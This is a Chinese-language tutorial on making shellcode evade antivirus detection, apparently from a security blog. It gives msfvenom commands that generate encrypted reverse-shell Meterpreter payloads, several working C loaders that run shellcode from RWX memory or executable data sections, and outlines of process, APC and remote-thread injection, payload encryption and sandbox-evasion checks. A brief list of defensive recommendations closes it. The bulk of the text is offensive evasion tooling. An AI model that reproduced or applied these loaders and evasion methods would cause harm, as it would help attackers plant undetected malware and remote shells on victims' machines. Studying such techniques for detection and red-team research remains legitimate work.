Shellcode免杀思维分析
字数 1404 2025-08-11 17:40:24

Shellcode免杀技术深度解析

0x00 Shellcode基础概念

Shellcode定义

  • 一种恶意代码,用于劫持计算机内存中正在运行程序的正常流程
  • 重定向流程以执行恶意代码而非正常程序
  • 通常为低级编程代码形式的信标或有效载荷
  • 常与漏洞利用结合使用的机器代码

Shellcode执行过程

  1. 打开目标进程
  2. 在目标进程中分配内存
  3. 将shellcode写入分配的内存区域
  4. 创建新线程执行shellcode

Shellcode关键特征

  • 包含执行所需的所有指令且体积较小
  • 内存中"位置独立"(无法预知加载位置)
  • 不包含可能导致崩溃的内容(如空字符0x00)
  • 能够使用注入技术搭载现有内存分配

0x01 Shellcode生成技术

MSFvenom生成

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<ip/hostname> LPORT=443 EXITFUNC=thread -f csharp

CS框架执行

git clone https://github.com/mai1zhi2/ShellCodeFramework
cd ShellCodeFramework
devenv ShellCodeFramework.sln /build "Debug|x64" /Project ShellCodeFramework
cd ./x64/Debug
.\ShellCodeFramework

0x02 Shellcode加载技术

1. WinAPI系统调用加载

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

int main() {
    char shellcode[] = "你的shellcode";
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}

优点

  • 标准方法,可靠性高
  • 内存区域可读可写可执行,便于修改shellcode

缺点

  • 容易被成熟的AV/EDR系统检测

2. 基于指针加载.data段(全局变量)

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")

unsigned char buf[] = { 0xfc, 0x48, 0x83, /*...*/ };

int main() {
    ((void(*)()) &buf)();
}

3. text段加载(局部变量)

#include "windows.h"
#include "stdafx.h"
using namespace std;

int main(int argc, char **argv) {
    unsigned char buf[] = { 0xfc, 0x48, 0x83, /*...*/ };
    void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
    return 0;
}

Linux系统注意:内核>5.4时,全局变量的shellcode会导致分段错误,需改为局部变量

4. 基于进程注入

  1. 制作免杀恶意DLL
  2. 注入到已运行进程中
  3. 编写回调函数立即执行恶意代码
  4. 将DLL绑定到注入程序资源段,封装为无害EXE

5. APC注入

  • 让目标线程运行shellcode
  • 前提:目标线程是alertable状态

6. 远程线程注入

  • 使用反射加载程序注入内存中的DLL
  • shellcode以字母数字形式生成
  • 通过反向DNS TCP会话连接攻击者

7. 基于回调函数执行

  • 通过Windows回调执行shellcode
  • 系统将shellcode当做回调函数运行
  • 在异常发生前shellcode已被执行

8. 基于汇编加载

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

unsigned char shellcode[] = "你的shellcode";

void main() {
    __asm {
        mov eax, offset shellcode
        jmp eax
    }
}

0x03 Shellcode传递技术

运行时检测绕过

  • 将加载程序与不同进程空间中的实际有效负载分离
  • 避免直接执行函数指针指向的shellcode

DLL加载示例

#include <iostream>
#include <Windows.h>

int main(void) {
    HMODULE hMod = LoadLibrary("shellcode.dll");
    if(hMod == nullptr) {
        cout << "Failed to load shellcode.dll" << endl;
    }
    return 0;
}

0x04 Shellcode编码技术

1. XOR搭配其他加密方式

  • 原始MSF shellcode容易被指纹识别
  • 通过编码加密原始shellcode并包含解码例程
  • 可使用XOR、凯撒密码、DES/AES等加密方式

凯撒密码示例

# 加密
s = input('请输入要加密的字符串:')
k = int(input('请输入移位值:'))
s_encrypt = ''
for word in s:
    if word == ' ':
        word_encrypt = ' '
    else:
        word_encrypt = chr((ord(word) - ord('a') + k) % 26 + ord('a'))
    s_encrypt += word_encrypt
print(s_encrypt)

# 解密
s = input('请输入要解密的字符串:')
k = int(input('请输入移位值:'))
s_decrypt = ''
for word in s:
    if word == ' ':
        word_decrypt = ' '
    else:
        word_decrypt = chr((ord(word) - ord('a') - k) % 26 + ord('a'))
    s_decrypt += word_decrypt
print(s_decrypt)

2. MSFvenom加密shellcode

ruby ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c

注意

  • 加密可有效防止静态扫描
  • 但运行后内存/行为监控仍可能被检测

3. 添加字符绕过检测

  • 在shellcode前添加迷惑字符
  • 替换敏感函数
  • 欺骗杀软的hash值对比

4. 沙盒规避技术

  • 验证PE文件名(沙盒可能更改EXE名)
  • 验证机器主机名
  • 向不存在的域发送Web请求
  • 调用睡眠函数(沙盒可能快进)
  • 检查不常见的Win32 API返回值

0x05 防御建议

  1. 静态检测防御

    • 加强签名检测能力
    • 分析常见加密/编码模式
    • 检测异常PE文件特征
  2. 动态检测防御

    • 监控内存分配行为(特别是RWX权限)
    • 检测异常进程注入行为
    • 分析API调用序列
  3. 行为检测防御

    • 监控异常网络连接
    • 检测沙盒规避行为
    • 分析代码执行流异常
  4. 系统加固

    • 启用控制流防护(CFG)
    • 限制非必要的内存执行权限
    • 及时修补系统漏洞
  5. 用户教育

    • 提高对可疑文件的认识
    • 避免运行来源不明的程序
    • 定期进行安全意识培训
Shellcode免杀技术深度解析 0x00 Shellcode基础概念 Shellcode定义 : 一种恶意代码,用于劫持计算机内存中正在运行程序的正常流程 重定向流程以执行恶意代码而非正常程序 通常为低级编程代码形式的信标或有效载荷 常与漏洞利用结合使用的机器代码 Shellcode执行过程 : 打开目标进程 在目标进程中分配内存 将shellcode写入分配的内存区域 创建新线程执行shellcode Shellcode关键特征 : 包含执行所需的所有指令且体积较小 内存中"位置独立"(无法预知加载位置) 不包含可能导致崩溃的内容(如空字符0x00) 能够使用注入技术搭载现有内存分配 0x01 Shellcode生成技术 MSFvenom生成 CS框架执行 0x02 Shellcode加载技术 1. WinAPI系统调用加载 优点 : 标准方法,可靠性高 内存区域可读可写可执行,便于修改shellcode 缺点 : 容易被成熟的AV/EDR系统检测 2. 基于指针加载.data段(全局变量) 3. text段加载(局部变量) Linux系统注意 :内核>5.4时,全局变量的shellcode会导致分段错误,需改为局部变量 4. 基于进程注入 制作免杀恶意DLL 注入到已运行进程中 编写回调函数立即执行恶意代码 将DLL绑定到注入程序资源段,封装为无害EXE 5. APC注入 让目标线程运行shellcode 前提:目标线程是alertable状态 6. 远程线程注入 使用反射加载程序注入内存中的DLL shellcode以字母数字形式生成 通过反向DNS TCP会话连接攻击者 7. 基于回调函数执行 通过Windows回调执行shellcode 系统将shellcode当做回调函数运行 在异常发生前shellcode已被执行 8. 基于汇编加载 0x03 Shellcode传递技术 运行时检测绕过 : 将加载程序与不同进程空间中的实际有效负载分离 避免直接执行函数指针指向的shellcode DLL加载示例 : 0x04 Shellcode编码技术 1. XOR搭配其他加密方式 原始MSF shellcode容易被指纹识别 通过编码加密原始shellcode并包含解码例程 可使用XOR、凯撒密码、DES/AES等加密方式 凯撒密码示例 : 2. MSFvenom加密shellcode 注意 : 加密可有效防止静态扫描 但运行后内存/行为监控仍可能被检测 3. 添加字符绕过检测 在shellcode前添加迷惑字符 替换敏感函数 欺骗杀软的hash值对比 4. 沙盒规避技术 验证PE文件名(沙盒可能更改EXE名) 验证机器主机名 向不存在的域发送Web请求 调用睡眠函数(沙盒可能快进) 检查不常见的Win32 API返回值 0x05 防御建议 静态检测防御 : 加强签名检测能力 分析常见加密/编码模式 检测异常PE文件特征 动态检测防御 : 监控内存分配行为(特别是RWX权限) 检测异常进程注入行为 分析API调用序列 行为检测防御 : 监控异常网络连接 检测沙盒规避行为 分析代码执行流异常 系统加固 : 启用控制流防护(CFG) 限制非必要的内存执行权限 及时修补系统漏洞 用户教育 : 提高对可疑文件的认识 避免运行来源不明的程序 定期进行安全意识培训